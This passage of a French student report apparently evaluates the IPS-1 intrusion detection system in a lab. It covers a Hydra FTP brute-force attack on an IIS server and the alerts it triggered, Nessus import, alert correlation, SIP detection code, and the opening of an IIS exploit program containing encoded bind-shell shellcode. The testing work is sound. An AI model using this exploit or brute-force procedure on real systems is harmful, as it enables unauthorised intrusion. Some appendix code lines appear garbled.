printscreen, les captures ont été prises avec un appareil photo raison pour laquelle la qualité des images
laisse à désirer.
Etape 1 :
La première étape consiste à spécifier l’adresse IP de la cible et le protocole utilisé pour gérer le service.
Depuis l’onglet Target de l’interface graphique de hydra, nous sélectionnons l’option Single Target
car nous disposons d’une seule cible qui est le serveur IIS. Dans la case correspondante à cette option
est mentionnée l’adresse IP de la machine cible (192.168.0.5). Il est également nécessaire de préciser le
service d’authentification choisi (ftp) lors de l’attaque dans la case correspondante à l’option protocole.
3. Force Brute 25
Fig. 3.1: Utilisation de Hydra
Etape 2 :
Celle-ci consiste à définir le(s) nom(s) d’utilisateur(s) et le(s) mot(s) de passe. Pour cela deux fichiers
textes, login.txt et pwd.txt ont été mis en place, où sont définis respectivement une liste de noms
d’utilisateurs et une liste de mots de passe.
3. Force Brute 26
Fig. 3.2: Utilisation de Hydra
Etape 3 :
Démarrage l’attaque force brute en cliquant sur start sous l’onglet start.
Résultat
L’attaque bruit de force a bien fonctionné car le logiciel hydra a fournit la paire : mot de passe et login
valide permettant d’accéder à la machine cible.
Face à cette attaque la sonde déclenche plusieurs alertes.
3. Force Brute 27
Fig. 3.3: Alertes générées suite à une attaque Force Brute
Les différentes types d’alertes émises par l’IPS-1 sont :

Première type d’alerte : authentication authentication :badpasswd alert
Cette alerte est déclenchée lorsqu’un utilisateur tente de s’identifier à un système contrôlé par un mot
de passe dit “mauvais”. La sonde dispose d’une liste qui peut être associée à un dictionnaire car contient
un ensemble de mot de passe assez simple à découvrir. Sur le graphe ci-dessous la cause de l’alerte est
due au fait que l’utilisateur “Administrator” tente de s’identifier avec un mot de passe faisant partie
du dictionnaire (root).
Fig. 3.4: Détail de l’alerte authentication authentication :badpasswd alert

3. Force Brute 28
Deuxième type d’alerte : authentication authentication :badlength alert

Cette alerte est déclenchée lorsqu’un utilisateur tente de s’identifier avec un mot de passe dont le
nombre de caractère est inférieur au nombre défini par l’administrateur.
Fig. 3.5: Détail de l’alerte authentication authentication :badlength alert
Troisième type d’alerte : authentication authentication :baduser alert

Une alerte de ce type est déclenchée lorsqu’un utilisateur tente de s’authentifier avec un login dit “mau-
vais”. Dans le backend authentication/authentication une variable de configuration appelé BAD USER LIST
contient un ensemble de login interdit. Ainsi tout utilisateur qui tente de s’authentifier avec un de ces
mots de la liste, ceci déclenchera cette alerte.
Fig. 3.6: détail de l’alerte authentication authentication :baduser alert

3. Force Brute 29
Quatrième type d’alerte : authentication authentication :match alert

Cette alerte est déclenchée lorsqu’un utilisateur tente de s’identifier avec le même mot utilisé pour
l’authentification. Nous notons que ce type d’authentification est trés courant.
Fig. 3.7: Détail de l’alerte authentication authentication :match alert
Cinquième type d’alerte : authentication badfreqip :freqip alert

Cette alerte est déclenchée lorsque le nombre de tentatives de connexions échouées sur une même
machine, dépasse la valeur seuil fixée par l’administrateur.
Fig. 3.8: Détail de l’alerte authentication badfreqip :freqip alert
Sixième type d’alerte : authentication badfrequser :frequser alert

Cette alerte est déclenchée lorsque le nombre de connexions échouées par un utilisateur, dépasse la
valeur fixée par l’administrateur.
3. Force Brute 30
Fig. 3.9: Détail de l’alerte authentication badfrequser :frequser alert
Parmi toutes ces alertes seules deux permettent d’indiquer qu’il y a force brute. En effet les alertes
authentication badfreqip :freqip alert et authentication badfrequser :frequser alert indiquent qu’il y a
eu tentative de force brute car elles sont émises suite à plusieurs tentatives de connexions échouées.
3.1.2 Tentative d’attaque Force Brute
principe
Dans les chapitres précedents, les différentes attaques effectuées sur le serveur IIS affirme que la sonde
détecte une tentative d’attaque lorsqu’il s’agit des attaques Buffer Overflow et Directory Traversal par
ftp. En effet bien que l’attaque ait échoué ou réussi la sonde émet les mêmes alertes dans les deux cas.
Pour tester ce phénomène dans le cas d’une attaque par authentification force brute, un test est mis
en place où il s’agit d’effectuer une tentative d’attaque force brute qui se résumera par un échec.
Mise en oeuvre
Pour réaliser cette attaque, deux fichiers seront utilisés comme lors du test précédent (login.txt et
pwd.txt). La particularité de ces fichiers est que le fichier login.txt ne comporte pas de nom d’utilisa-
teur valide. Ainsi l’outil hydra ne trouvera aucune association entre les noms d’utilisateurs du fichier
login.txt et les mots de passe du fichier pwd.txt.
Résultat
D’après le résultat généré par notre logiciel hydra aucune correspondance n’a été décelée entre les
login et les mots de passe des fichiers login.txt et pwd.txt. Ainsi l’attaque force brute a échoué.
En se réferant aux résultats des alertes fournies par l’IPS-1 Management Dashboard, la sonde émet les
mêmes alertes que précédemment :
– authentication badfreqip :freqip alert
– authentication badfrequser :frequser alert
3. Force Brute 31
3.2 Synthèse
Suite aux tests effectués, nous confirmons que dans certains cas (force brute), la sonde émet des alertes
dès qu’il y a tentative d’attaques, quelque que soit le résultat obtenu. Pour améliorer la fiabilité
de l’IPS-1 par rapport à ce type d’attaques, on pourrait par exemple contrôler qu’à la suite des
alertes authentification badfreqip :freqip alert et authentification badfrequser :frequser alert, s’il y a
une connexion vers une machine du réseau il s’agit probablement d’une attaque Force Brute. Une autre
manière est de fixer les valeurs seuils élevées, ainsi après l’émission d’alertes il s’agit probablement
d’une attaque Force Brute.
4
L’IPS-1 et la détection de vulnérabilités
La vulnérabilité représente une faille de sécurité du système et résulte d’une erreur de programmation
ou d’une faiblesse de conception dans le système. Comme montré lors des tests dans les chapitres
précédents, des failles existent dans Internet Information Server (IIS) de Microsoft. Ces failles sont
souvent exploitées par les hackers afin d’étendre leurs privilèges sur la machine cible et d’accéder aux
ressources qui devraient être normalement inaccessibles.
Suite à cette situation inquiétante, certains outils appelés scanners de vulnérabilité ont été déve-
loppés. Ces derniers permettent aux administrateurs de soumettre leur réseau à des tests d’intrusion
afin de constater si certaines applications possèdent des failles de sécurité. Parmi ces outils, le plus
connu et le plus utilisé est Nessus. Il fournit un rapport exhaustif des vulnérabilités dans une appli-
cation, un système d’exploitation ou un réseau et des informations sur des mesures à prendre pour
corriger les problèmes découverts.
Actuellement certains IDS, par exemple l’IPS-1 utilisé au cours de ce projet, ont la capacité d’intégrer
un rapport de scan dans leur système dans le but d’effectuer une cross-corrélation1 avec les alertes
(expliqué en détail dans une section ultérieure). Cette faculté permet d’informer les administrateurs
réseaux des risques qu’encourent leur réseau et de les aider à prendre les précautions nécessaires.
Au cours de ce chapitre, il s’agira dans un premier temps de se familiariser avec Nessus puis de montrer
l’utilité du rapport de scan produit par Nessus sur l’IPS-1.
4.1 Nessus : scanner de vulnérabilités
Nessus est l’un des scanners de vulnérabilités le plus populaire et le plus utilisé pour auditer un réseau
et déterminer les failles potentiels sur celui-ci. Cet outil est disponible sous licence GPL jusqu’à la
version 2. Tenable Network Security, l’éditeur de ce logiciel de sécurité, abandonne la licence GPL et
distribue la version 3 sous licence propriétaire. Nessus 3 peut être trouvé sous 2 formes :
– Une base payante qui inclut un support et une évolution des plugins rapide maintenue par la société
Tenable Network Security.
– Une base non payante qui inclut une évolution des plugins avec un délai d’une semaine par rapport
à la version payante.
Nessus fonctionne sur le principe de client serveur dont chacun possède un rôle bien précis.
1
Recherche de relations entre les scan Nessus effectués et les alertes
4. L’IPS-1 et la détection de vulnérabilités 33
– Le serveur nessusd exécute des requêtes du client en effectuant des attaques sur une cible afin de
générer le rapport de vulnérabilité. Ce daemon tourne avec des privilèges root.
– Une application cliente nessus pilote le serveur afin que ce dernier effectue des attaques ciblées sur
un hôte précis, puis recupère les données du serveur et affiche les résultats. L’interface graphique
tourne sous l’identité d’un utilisateur non privillégié.
Un exemple d’utilisation de Nessus est fournie dans annexe B.
A la suite d’un scan sur une machine cible, Nessus génère un rapport étendu contenant diverses
informations donnant une description de la faille, la gravité de la vulnérabilité ainsi qu’une solution
permettant par conséquent de faciliter sa gestion et/ou son élimination. Ce rapport peut être exporté
depuis le client sous divers formats XML, HTML, Latex, NBE. Un exemple de rapport de scan est
fourni en annexe B.
IPS-1 et les versions de Nessus
IPS-1 offre les fonctionnalités nécessaires pour importer un rapport de scan Nessus. En effet celui-ci
est importé via l’IPS-1 Management Dashboard en format XML uniquement. Notons également que
ce rapport doit impérativement être le résultat fourni par Nessus version 2. En effet le fichier XML
fourni par Nessus version 3 ne peut pas être uploadé par la sonde.
Fig. 4.1: Précision de la version Nessus supportée par IPS-1
La figure ci-dessus montre bien que seule la version 2 de Nessus est supportée par l’IPS-1. En effectuant
une comparaison entre les fichiers xml fournis par Nessus version 2 et Nessus version 3, nous décelons
de nombreuses différences dont :
1. Les éléments racines sont différents.

a) L’élément racine de Nessus version 2 est <report>
b) L’élément racine de Nessus version 3 est <results>
2. La structure adoptée dans Nessus 3 est simple :
Les premières balises servent à définir le début et la fin du scan (date et heure). Le reste du
fichier est réparti en plusieurs blocs similaires contenant les balises déterminant le numéro de
port, l’ID du plugin, une description sur la vulnérabilité et le niveau de risque.
3. La structure adoptée dans Nessus 2 est la suivante :

Les premières balises donnent des informations sur le serveur nessusd et sa configuration. Le
reste du fichier est représenté par des blocs qui contiennent des balises plugins et des balises
informations. Chacune de ces balises plugins renferme les informations suivantes : l’ID du plugins,
le nom du plugin, sa version, le numéro de cve... Puis les balises informations contiennent pour
chaque port, une description de la vulnérabilité.
En annexe B sont donnés des exemples de fichiers xml fourni par les différentes versions de nessus.
Le parseur de l’IPS-1 a été écrit pour lire et analyser les fichiers xml fourni par Nessus 2. Les différences
constatées précédemment montrent que celui-ci ne sera pas capable de lire un fichier xml fourni par
Nessus version 3. Un test a montré que l’importation d’un fichier de Nessus 3 indique un message
d’erreur. Ceci pourrai être problème dans un avenir proche (réécriture du parseur), mais la société
Tenable Network Security a décidé de maintenir l’évolution de Nessus 2 en parallèle à la version 3 [11].
Importation du rapport dans la sonde
Pour importer un fichier xml fourni par Nessus 2 sur l’IPS-1 nous effectuons les étapes suivantes :
1. Sélectionner l’onglet Management depuis la barre d’outils de la fenêtre IPS-1 Management

Dashboard, puis choisir Policies.
2. Une fenêtre IPS-1 Policy Manager apparait. Sous l’onglet Policy Manager, choisir Upload
Nessus XML Vulnerability Scan.
3. Une fenêtre Import Nessus xml scan file est affichée permettant d’importer le rapport de
scan produit par Nessus. Choisir le fichier à ouvrir et cliquer sur Open.
Fig. 4.2: Importation du rapport de scan
Lors de l’importation du rapport de scan, des alarmes appelées CORRELATOR :new_vulnerability

sont émises sur l’IPS-1 Management Dashboard montrant toutes les vulnérabilités rencontrées dans le
rapport de scan.
Fig. 4.3: Vulnérabilité détectées lors de l’importation du rapport de scan
4.2 Attaques et vulnérabilités
L’IPS-1 possède une fonctionnalité importante, celle de détecter les vulnérabilités au sein du réseau.
Cet atout permet aux entreprises d’identifier les vulnérabilités potentielles de leur réseau afin de le
protéger davantage.
Une fois le rapport de scan importé via l’IPS-1 Management Dashboard, il est possible de visualiser
toutes les vulnérabilités lié à notre réseau. Ceci est possible en cliquant sur New vulnerability
Browser depuis l’onglet File de l’IPS-1 Management Dashboard.
Fenêtre de vulnérabilités
Avant l’importation du rapport de scan de Nessus, il est conseillé d’activer et de configurer Dynamic
Shielding (Management > Policies Policy Manager > Dynamic Shield Configuration).
Cette action effectue une comparaison des signatures des alertes définies dans les packages et backends
avec celles des vulnérabilités présentes dans le rapport de scan. A la suite de cela un matching est
effectué entre les vulnérabilités détectées et les alertes donnant la fênetre de vulnérabilité ci-dessous.
Fig. 4.4: Vulnérabilité détectées lors du rapport de scan
La fenêtre de vulnérabilité peut être divisée en trois sous fenêtres :

1 –> La première fenêtre, indiqué par la numérotation 1, contient les colonnes avec les labels sui-
vants : Confidence, Risk Factor, IP Address, Service Name, port, CVE, Package, Backend, Alert Name,
Scan Start, Severity, Plugin, New Issue, Protocol. Ces colonnes déterminent les caractéristiques des
vulnérabilités détectées lors du scan. Les paramètres de cette fenêtre confirment bien les propos émis
précédemment. En effet les CVE sont associés à un package, un backend et une alerte si la signature
de l’alerte est identique à celle de la vulnérabilité. CVE est l’abbréviation de “Common Vulnerabilities
and Exposures” et fournit un nom pour une vulnérabilité spécifique et une description uniforme (et
standardisée) [9].
2 –> Cette deuxième fenêtre quant à elle, donne des informations concernant la vulnérabilité et
propose des solutions pour corriger les failles de sécurité dans le système.
3 –> Dans cette dernière fenêtre, peut être représenté sous forme de statistique le nombre vulnéra-
bilités rencontrées en fonction des paramètres de la fênetre 1.
Utilité d’une cross-corrélation
L’association des deux outils de sécurité Nessus et IPS-1, permet d’effectuer une analyse minucieuse
des attaques en vue de réduire le taux de faux positif et de permettre à l’administrateur de prendre
connaissances des failles du réseau. De plus la combinaison de ces deux outils permet d’effectuer une
cross-corrélation entre les alertes et les vulnérabilités. Une cross-corrélation est la recherche de relations
entre les scans de vulnérabilités (Nessus) effectués et des alertes émises par l’IPS-1 Sensor. Dès qu’une
alerte est émise sur l’IPS-1 Management Dashboard, le phénomème de cross-corrélation est appliqué
générant une nouvelle alerte appelée CORRELATOR :va compromise risk. Celle-ci possède un degré
de priorité (low, Med, High) permettant à l’administrateur de prendre connaissance de la gravité de
l’attaque, des dangers et des risques de l’attaque sur le réseau.
Lors des tests effectués dans les chapitres précédents, la sonde émet une alerte dès qu’il y a tentative
d’attaque qui peut aboutir ou non. Ceci risque d’engendrer un grand nombre de faux positifs. Suite
à une cross-corrélation, l’administrateur réseau peut uniquement s’intéresser aux alertes CORRELA-
TOR :va compromise risk et considérer les autres alertes émises comme étant du bruit. Les attaques
liées à cette corrélation ont d’énormes chances d’aboutir étant donné la vulnérabilité du système
(système vulnérable = proie pour les hackers).
Par exemple en effectuant une attaque buffer overflow sur le serveur IIS de notre réseau cinq alertes
sont émises et une cross-corrélation est également effectuée donnant naissance à une nouvelle alerte
CORRELATOR :va compromise risk.
Fig. 4.5: Cross-corrélation suite à une attaque
En cliquant sur cette nouvelle alerte nous décelons que parmi les cinq alertes une seule est matchée
avec une vulnérabiltié. Ce qui laisse croire que les autres alertes sont des faux positifs.
Fig. 4.6: Cross-corrélation suite à une attaque buffer overflow
En cliquant sur le bouton vulnérability Info cela fourni la fenêtre de vulnérabilité ci-dessous donnant
une description de la vulnérablité liée à cette attaque et les solutions face à ce risque.
Fig. 4.7: Fenêtre de vulnérabilité suite à une attaque buffer overflow
En plus de la capacité d’effectuer une cross-corrélation, la sonde possède également la faculté d’effectuer
une agrégation des alertes émises en vue de réduire le volume d’alertes.
4.3 Agrégation sur l’IPS-1
Une agrégation d’alertes permet de réduire le volume d’informations à traiter, d’améliorer la qualité
du diagnostic proposé et de dégager une meilleure vision globale de l’état de sécurité du système en cas
d’intrusion. L’IPS-1 offre la possiblité à l’utilisateur d’effectuer de l’agrégation. Face à un grand nombre
d’alertes, il est possible de dégager des caractéristiques majoritaires communes à un sous-ensemble de
ces alertes pour n’en fournir qu’une nouvelle alerte.
L’IPS-1 offre deux méthodes pour effectuer une agrégation :
– Cluster correlators : c’est une forme d’agrégation dynamique. Elle permet de regrouper plusieurs
alertes en fonction des paramètres suivants : les adresses source ou destination, les ports source ou
destination, l’alerte source, le degré de gravité de l’attaque, l’OS source, l’OS destination...
– Boolean correlators : est une forme d’agrégation plus stricte où l’utilisateur doit préciser clairement la
valeur de chaque paramètres (adresses source/destination, ports source/destination, nom de package,
nom de backend)
Parmi les attaques effectuées dans les chapitres précédentes, ces deux techniques d’agrégation vont être
appliquées suite à une attaque buffer overflow. En effet parmi toutes les attaques effectuées, celle-ci
est plus intéressante car provoquant au moins 4 types d’alertes contrairement aux autres attaques qui
n’en provoque qu’une seule ou deux.
En utilisant une de ces techniques, une nouvelle alerte est créée dans le but de remplacer une suite
d’alertes émises sur l’IPS-1 Management Dashboard. Pour cela il suffit de cliquer sur l’onglet Mana-
gement depuis la fenêtre de l’IPS-1 Management Dashboard, et de choisir correlators. La fenêtre
correlators ci-dessous s’affiche donnant la possibilité de créer une agrégation en cliquant sur le bouton
New.
Fig. 4.8: Fenêtre “Correlators”
Agrégation par Cluster correlators
Dès le click sur le bouton New, une liste s’affiche où il faut choisir cluster correlator. Ainsi une
nouvelle fenêtre apparait où sont définis les paramètres suivants :
– Name : le nom de la nouvelle alerte,
– Threshold : le nombre d’alertes maximales reçu dans la fenêtre de temps avant que l’agrégation
ne s’effectue.
– Window : la période de temps, en seconde, durant laquelle les alertes seront matchées.
Sur cette même fenêtre il est possible de préciser la gravité de l’alerte en choisisant High, Med, Low
et de choisir l’état du corrélateur soit démarrer ou de stop.
Fig. 4.9: Caractéristique d’une nouvelle alerte par agrégation
L’onglet cluster correlator permet de choisir les paramètres permettant de matcher les alertes.
Fig. 4.10: Choix des critères pour effectuer une agrégation
L’onglet output définie l’action à prendre après l’agrégation. Il existe deux possibilités :
– Envoyer le résultat de l’agrégation sur l’IPS-1 Management Dashboard. Dans notre cas cette option
est choisie.
– Diriger le résultat de l’agrégation vers un autre programme.
Fig. 4.11: Caractéristique d’une agrégation
Agrégation par Boolean correlators
Dans ce sous menu, il s’agit d’effectuer une agrégation en utilisant la méthode boolean correlators.
Fig. 4.12: Fenêtre “Correlators”

Après avoir cliqué sur le bouton New du schéma ci-dessus permettant de mettre en place une agré-
gation, une liste apparait où on choisit Boolean correlator. Ainsi une nouvelle fenêtre s’affiche,
identique au cas précédent où sont définis les paramètre de la nouvelle alerte à savoir : Name, Thre-
shold, Window ainsi que le degré gravité de l’alerte (High, Med ou Low) et l’état du corrélateur
(run ou stop).
Fig. 4.13: Caractéristique d’une nouvelle alerte par agrégation
L’onglet boolean correlator permet de définir les critères de “matching” des alertes montrant la
différence entre les deux formes d’agrégation. En effet, nous constatons que la méthode boolean cor-
relator est statique contrairement à la méthode cluster correlator qui est dynamique et plus large.
En effectuant une agrégation par boolean cluster, l’utilisateur doit construire lui-même l’expression
booléenne renfermant les critères de matching. Sur le schéma ci-dessous, l’expression booléenne est
formée d’une adresse IP de destination bien précise, du port de destination ainsi d’un package bien
précis.
Fig. 4.14: Définition d’une expression booléenne pour engendrer une agrégation
L’onglet output offre les mêmes possibilités que lors d’une agrégation par cluster correlator à savoir :
– Envoyer le résultat de l’agrégation sur l’IPS-1 Management Dashboard. Dans notre cas cette option
est choisie.
– Diriger le résultat de l’agrégation vers un autre programme.
En effectuant une attaque buffer overflow, nous obtenons le résultat suivant :
Fig. 4.15: Détection une alerte Correlator : Overflow BooleanCorrelator
Suite à l’attaque Buffer Overflow, les quatres alertes émises donnent naissance à une nouvelle alerte
nommée CORRELATOR :Overflow_BooleanCorrelator. En double cliquant sur cette nouvelle alerte
nous constatons bien les alertes utilisées pour effectuer une agrégation afin d’engendrer la nouvelle
alerte.
Fig. 4.16: Caractéristique de l’alerte Correlator : Overflow BooleanCorrelator

5
Conclusion
L’IPS-1 est un système de détection d’intrusion réseau capable d’effectuer une analyse des flux en
transit sur le réseau et une détection des intrusions en temps réel. En effet, dès que l’IPS-1 Sensor
détecte une attaque, une alerte est aussitôt émise vers L’IPS-1 Management Dashboard.
L’IPS-1 est capable d’effectuer une agrégation en utilisant deux méthodes différentes : une dynamique
(trés large) et une autre statique (plus précise). De plus, la possibilité d’importer un rapport de scan
fourni par le scanner de vulnérabilité Nessus, donne la possibilité d’effectuer une cross-corrélation.
Ces deux facultés augmentent la performance d’un système de détection d’intrusion car réduit de
beaucoup le taux de faux positifs sur la console d’alertes. Aussi, la combinaison de l’IDS et Nessus aide
l’administrateur réseau à connaı̂tre les vulnérabilités et à mettre en place une stratégie de prévention
efficace.
Malgré ces éléments positifs, certains points restent à améliorer pour augmenter la performance et la
fiabilité de l’IPS-1. La gamme de filtres dont dispose l’IPS-1 n’est pas complète. En effet, selon l’alerte
émise il est impossible de déterminer si l’attaque a abouti réellement ou s’il s’agissait simplement d’une
tentative qui a échoué.
L’une des particularités de cet IDS, est l’utilisation quasi obligatoire d’un environnement de déve-
loppement (NDE) pour créer et tester de nouveaux filtres. Ceci a pour inconvénient de complexifier
le développement (maı̂trise d’un langage trés spécfique N-code, mise en place délicate de l’environ-
nement lui-même). Cependant, l’IPS-1 offre la possibilité de développer de nouveaux filtres dans un
environnement virtuel et évite ainsi d’avoir à perturber le réseau à sécuriser.
Remerciements
Je tiens à remercier très chaleureusement les personnes suivantes pour leur soutien, leur aide et leurs
conseils pour l’élaboration de ce projet :
M. Stefano Ventura
M. Sylvain Maret
M. Gregory Chanez
Mme Lalaina Kuhn
M. Joël Winteregg
M. Alexandre Delez
Et mon mari M. Marc Garnier
Bibliographie
[1] http ://mi.cnrs-orleans.fr/updates/frontpage/ms03-051.htm.

[2] http ://www.chambet.com/publications/iis-security/index.html.
[3] http ://www.fullsecurity.ch/fr/securite/sims/ossim/tests/index.html.
[4] http ://www.fullsecurity.ch/fr/voip/voipsec/voipids/index.html.
[5] http ://www.linuxfocus.org/francais/may2001/article190.shtml.
[6] http ://www.newport-networks.com/whitepapers/security1.html.
[7] http ://www.serveur32.net/.
[8] A. Delley P. Gaillet O. Johnsen H. Keller M. Rast H.-P. Tinguely B. wenk C. Bersier, H. P. Bucher.
Voix Sur IP et Multimédia. Ecole d’ingénieurs et d’architecte de Fribourg, 2007.
[9] Définition de CVE. http ://www.linuxfocus.org/francais/july2003/article294.shtml.
[10] Description du comportement du vers Nimda. http ://fr.wikipedia.org/wiki/nimda.
[11] Nessus 2 et Nessus 3. http ://www.supinfo-projects.com/fr/2006/nessus/5/.
[12] Alan B. Johnston Henry Sinnreich. Internet Communications Using SIP. wiley computer publi-
shing, 2001.
[13] christopher Gerg Kerry Cox. Sécurité réseau avec Snort et les IDS. O’Reilly, 2004.
[14] Check Point. Administration Guide Version 5.0.6.
[15] Prof. Juergen Ehrensberger (HEIG) Xavier Hahn (HEIG) Prof. Gérald Litzistorf (EIG) Prof.
Stefano Ventura (HEIG) Sébastien Contreras (EIG), Alistair Doswald (HEIG). Best practices for
voip-sip security. 27 Avril 2006.
[16] NFR Network Intrusion Detection System. Customizing NFR Sentivist Using N-Code.
[17] NFR Network Intrusion Detection System. N-Code Guide.
A
Programmes et code
Fichier session.values
desc Alert on Detection SIP Session Setup
text SIP est un protocole permettant d’etablir une session
text entre deux utilisateurs sip.
text Lorsqu’un client d’agent d’utilisateur (UAC) desire
text etablir une session sip, une formulation de demande
text INVITE se fait vers l’UAS. Des lors que l’UAS accepte
text l’invitation en formulant une requete ACK la
text session sip est etablie.
name ALERT_ON_DETECTION_SIP_SESSION_SETUP
mode scalar 1
desc Alert on Detection SIP Session Terminating

text Le protocole SIP permet egalement de terminer une
text session entre deux utilisateurs sip.
text La terminaison d’une session consiste a l’envoi
name ALERT_ON_DETECTION_SIP_SESSION_TERMINATING
mode scalar 1
Fichier session.desc
<HTML>
<BODY>
<H1> Session SIP </H1>
<P>
Ce backend controle tous les paquets SIP
circulant sur le réseau. Il permettra d’emettre
une alerte vers le Management Dashboard en cas de
détection d’un établissement ou d’une terminaison
de session sip.
</P>
<P>
les variables de configuation définies sont :
A. Programmes et code 49
</P>
<UL><LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_SETUP</B> : lorsque
cette variable est active donc égal à 1, tout paquet
permettant un établissement de session sip(contenant)
une requ^
ete INVITE engendrera une alerte.
</LI>
<LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_TERMINATING</B> :
lorsque cette variable est active donc égale à 1
et qu’il y a une fin session sip par l’envoie
d’une requete BYE une alerte est émise
vers le Management Dashboard.
</LI>
</UL>
</BODY>
</HTML>
Fichier session.acf
acfhdr
{
version = 1 ;
fixed = TRUE ;
}
{
shortname = SessionSIP ;
longname = "SIP Session Backend" ;
groups = sip :_group all ;
}
{
shortname = sip_session : detection_session_setup_alert ;
longname = "Detection d’une Session SIP" ;
format = "$1->$2 $3 : Detection SIP Session" ;
}
{
shortname = sip_session : detection_session_terminate_alert ;
longname = "Detection d’une terminaison de Session SIP" ;
format = "$1->$2 $3 : Detection SIP Session Terminating" ;

}
Fichier session alert.help

<HTML>
<BODY>
<H1> Overview</H1>
<P>
Une session SIP est initialisée lors de
l’acception d’une requ^
ete INVITE utilisé
pour initier une communication. A chaque
initialisation d’une session sip, une alerte
doit etre emise, de meme qu’a la fin d’une
session sip.
</P>
<H1>CORROBORATION AND LEADS</H1>

<P>
L’idée est de controler la méthode et le
call-id de chaque paquet circulant sur le
reseau. Le call-id est un identificateur
d’appel. Un tableau est créé, stockant tous
les call-id des paquets contenant la methode
INVITE. Lorsqu’un paquet contenant la
methode ACK contient un Call-ID identique a
un des call-ID définit dans le tableau, alors
Il s’agit d’un etablissement de session SIP.
</P>
</BODY>
</HTML>
Fichier session.cfg
title=session
version=4
disposition=disable
gui=list
num_columns=8
backend_id=NID-099-005
column_1_attr=IP_ADDR_SRC
column_1_type=p_src_ip
column_1_label=Source Address
column_2_attr=IP_ADDR_DST
column_2_type=p_dst_ip
column_2_label=Destination Address
column_3_attr=IP_PROTO_NAME
column_3_label=IP Protocol
column_4_attr=COMMAND
column_4_label=Command
column_5_attr=EMAIL_SENDER
column_5_label=Sender
column_6_attr=EMAIL_RECIPIENT
column_6_label=Recepient
column_7_attr=BANNER
column_7_label=Call-ID
column_8_attr=ADDL_INFO
column_8_label=Additional Information
Fichier session.nfr
BUF_KEY_SCHEMA = packing_schema("str", #protocol
"ip", #source ip
"int", #source port
"ip", #Destination ip
"int", #Destination port
"str", #Call-ID
"str") ; #method
MY_SCHEMA = library_schema :new(1,["time","ip","ip","str", "str","str",

"str", "str","str"],scope()) ;
MY_RECORDER = recoder("bin/list %c","MY_SCHEMA") ;
_ :sip_register_request(process_request) ;
func process_request {
unpack(_ :KEY_SCHEMA,_ :KEY,$proto,$src,$sport,$dst,$dport) ;
if(($from = elem(_ :HEADERS[_ :KEY]["FROM"],0))== NULL)
{
$from="unknown or malformed" ;
}
if(($call_id = elem(_ :HEADERS[_ :KEY]["CALL-ID"],0))== NULL)

{
$call_id="unknown call ID" ;
}
$buf_key = pack(BUF_KEY_SCHEMA, $proto, $src, $sport, $dst,

$dport,substr($call_id, 0, 1023),
substr(_ :METHOD[_ :KEY], 0, 1023)) ;
if (BUFFERED[$buf_key])
{
return(0) ;
}
BUFFERED[$buf_key] = 1 ;
if (LAST_BUFFERED[$buf_key])
{
return(0) ;
}
$addl_info = " " ;
#On teste si la requete contient une methode INVITE

if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "INVITE")
{
# On teste si le call-ID de la requete INVITE n’est pas nul
if (($cid = substr(elem(_ :HEADERS[_ :KEY]["CALL-ID"],0),
0, 8191)) != NULL)
{
$invite_seen[$cid] = $cid ;
}
}else
{
#On teste si la requete contient une methode ACK
if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "ACK")
{
#On teste si la va-
riable ALERT_ON_DETECTION_SIP_SESSION_SETUP
est active
if(ALERT_ON_DETECTION_SIP_SESSION_SETUP)
{
# On teste si le call-ID de la re-
quete ACK n’est pas nul if (($cid = sub-
str(elem(_ :HEADERS[_ :KEY]["CALL-ID"],0),
0, 8191)) != NULL)
{
if($invite_seen[$cid] == $cid)
{
alert(session_src, detec-
tion_session_setup_alert,
$src, $dst, $proto,
"--AlertDetails","ALERT_ID","33-14",
"CONTEXT",attack :context(detection_session_setup_alert),
THOD",_ :METHOD[_ :KEY],
"URI",_ :URI[_ :KEY],
"IP_ADDR_SRC",$src,
"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,
"PORT_DST",$dport) ;
}
}
}
}else
{
#On teste si la requete contient une methode BYE
if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "BYE")
{
#On teste si la variable
ALERT_ON_DETECTION_SIP_SESSION_TERMINATING est active
if(ALERT_ON_DETECTION_SIP_SESSION_TERMINATING)
{
# On teste si le call-ID de la requete ACK
n’est pas nul
ID"],0),
0, 8191)) != NULL)
{
if($invite_seen[$cid]==$cid)
{
alert(session_src,detection_session_terminate_alert,
$src, $dst, $proto,
"--AlertDetails",
"ALERT_ID","33-15",
"CONTEXT",attack :context(detection_session_terminate_alert),
"METHOD",_ :METHOD[_ :KEY],
"URI",_ :URI[_ :KEY],
"IP_ADDR_SRC",$src,
"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,
"PORT_DST",$dport) ;
$invite_seen[$cid] = NULL ;
}
}
}
}
}
#Enregistrement des donnees du paquet

record packet.sec, $src, $dst, $proto, _ :METHOD[_ :KEY],
$from, _ :URI[_ :KEY], substr($call_id, 0, 1023),
$addl_info to MY_RECORDER ;
misc_attacks :rec(packet.sec, scope(), "URI :", $src, $dst) ;

}
return(0) ;
}
filter housekeeping timeout (sec : 60, repeat)
{ LAST_BUFFERED = BUFFERED ; BUFFERED = NULL ; }
Programme CAN-2003-0822.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <sys/wait.h>
4 #include <sys/types.h>
5 #include <netinet/in.h>
6 #include <sys/socket.h>
7 #include <errno.h>
8 #include <string.h>
9 #include <unistd.h>
10
11
12 #define PORT 80
13
14 struct sockaddr_in hrm;
15
16 unsigned char kyrgyz_bind_code[] = {
17 0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33
,
18 0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
19 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88
,
20 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88
,
21 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE
,
